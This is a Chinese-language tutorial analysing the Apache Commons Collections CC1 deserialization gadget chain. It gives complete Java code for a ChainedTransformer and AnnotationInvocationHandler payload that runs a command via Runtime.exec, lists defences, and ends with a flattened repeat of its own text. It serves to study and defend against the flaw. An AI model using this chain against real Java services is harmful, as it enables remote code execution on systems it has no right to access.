CC1链学习分析
字数 1393 2025-08-29 08:30:18

Apache Commons Collections反序列化漏洞(CC1链)分析

前置知识

1. Java反序列化机制

  • 构造方法不执行:反序列化通过ObjectInputStream读取字节流重建对象,不会调用类的任何构造方法
  • readObject方法调用:如果类实现了Serializable接口并自定义了readObject方法,反序列化时会调用该方法
  • 类加载要求:服务器必须能够找到并加载反序列化所需的类定义,否则会抛出ClassNotFoundException

2. 反序列化实现RCE的条件

  • 存在可以接受任意对象进行反序列化的入口点
  • 能够执行任意对象的readObject方法
  • readObject方法中可写入自定义逻辑

CC1链分析

1. 核心组件

Transformer接口

package org.apache.commons.collections;
public interface Transformer {
    Object transform(Object var1);
}

InvokerTransformer实现

关键代码:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (NoSuchMethodException ex) {
        // 异常处理
    }
}

攻击示例:

new InvokerTransformer("exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"})
    .transform(Runtime.getRuntime());

TransformedMap类

关键方法:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

使用方式:

Map<Object, Object> decorate = TransformedMap.decorate(map, null, transformer);

AnnotationInvocationHandler类

关键点:

  • 包含readObject方法
  • 在反序列化过程中会调用setValue方法
  • 不是public类,需要通过反射实例化

2. 完整攻击链构建

初始攻击尝试

Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"});

HashMap<Object,Object> map = new HashMap();
map.put("a", "b");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);

for(Map.Entry entry: decorate.entrySet()){
    entry.setValue(runtime);
}

遇到的问题及解决方案

  1. Runtime未序列化问题

    • 使用反射获取Runtime实例
    • 通过Class类(可序列化)间接调用
  2. AnnotationInvocationHandler检查问题

    • 需要使用包含"value"成员的注解类(如Target.class)
    • 确保map中包含"value"键
  3. 值被覆盖问题

    • 引入ConstantTransformer固定返回值

最终攻击链

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);

// 序列化和反序列化触发漏洞
serializable("payload.ser", o);
unserializable("payload.ser");

3. 攻击链执行流程

  1. 反序列化触发AnnotationInvocationHandler.readObject
  2. readObject调用setValue方法
  3. setValue调用TransformedMap.checkSetValue
  4. checkSetValue调用valueTransformer.transform
  5. ChainedTransformer依次执行:
    • 返回Runtime.class
    • 获取getRuntime方法
    • 调用getRuntime获取Runtime实例
    • 执行exec("calc")

防御措施

  1. 升级Apache Commons Collections到安全版本
  2. 使用Java安全管理器限制反序列化
  3. 对反序列化数据进行严格校验
  4. 使用白名单控制可反序列化的类

总结

CC1链利用Apache Commons Collections中的Transformer接口和TransformedMap类,通过精心构造的链式调用,在反序列化过程中实现任意代码执行。关键在于:

  1. 利用InvokerTransformer实现反射调用
  2. 通过TransformedMap将恶意Transformer注入
  3. 借助AnnotationInvocationHandlerreadObject方法触发整个调用链
  4. 使用ConstantTransformerChainedTransformer解决执行过程中的各种限制

理解这条攻击链有助于更好地防御Java反序列化漏洞,提高应用安全性。

Apache Commons Collections反序列化漏洞(CC1链)分析 前置知识 1. Java反序列化机制 构造方法不执行 :反序列化通过 ObjectInputStream 读取字节流重建对象,不会调用类的任何构造方法 readObject 方法调用 :如果类实现了 Serializable 接口并自定义了 readObject 方法,反序列化时会调用该方法 类加载要求 :服务器必须能够找到并加载反序列化所需的类定义,否则会抛出 ClassNotFoundException 2. 反序列化实现RCE的条件 存在可以接受任意对象进行反序列化的入口点 能够执行任意对象的 readObject 方法 readObject 方法中可写入自定义逻辑 CC1链分析 1. 核心组件 Transformer接口 InvokerTransformer实现 关键代码: 攻击示例: TransformedMap类 关键方法: 使用方式: AnnotationInvocationHandler类 关键点: 包含 readObject 方法 在反序列化过程中会调用 setValue 方法 不是public类,需要通过反射实例化 2. 完整攻击链构建 初始攻击尝试 遇到的问题及解决方案 Runtime未序列化问题 : 使用反射获取Runtime实例 通过Class类(可序列化)间接调用 AnnotationInvocationHandler检查问题 : 需要使用包含"value"成员的注解类(如Target.class) 确保map中包含"value"键 值被覆盖问题 : 引入 ConstantTransformer 固定返回值 最终攻击链 3. 攻击链执行流程 反序列化触发 AnnotationInvocationHandler.readObject readObject 调用 setValue 方法 setValue 调用 TransformedMap.checkSetValue checkSetValue 调用 valueTransformer.transform ChainedTransformer 依次执行: 返回 Runtime.class 获取 getRuntime 方法 调用 getRuntime 获取Runtime实例 执行 exec("calc") 防御措施 升级Apache Commons Collections到安全版本 使用Java安全管理器限制反序列化 对反序列化数据进行严格校验 使用白名单控制可反序列化的类 总结 CC1链利用Apache Commons Collections中的Transformer接口和TransformedMap类,通过精心构造的链式调用,在反序列化过程中实现任意代码执行。关键在于: 利用 InvokerTransformer 实现反射调用 通过 TransformedMap 将恶意Transformer注入 借助 AnnotationInvocationHandler 的 readObject 方法触发整个调用链 使用 ConstantTransformer 和 ChainedTransformer 解决执行过程中的各种限制 理解这条攻击链有助于更好地防御Java反序列化漏洞,提高应用安全性。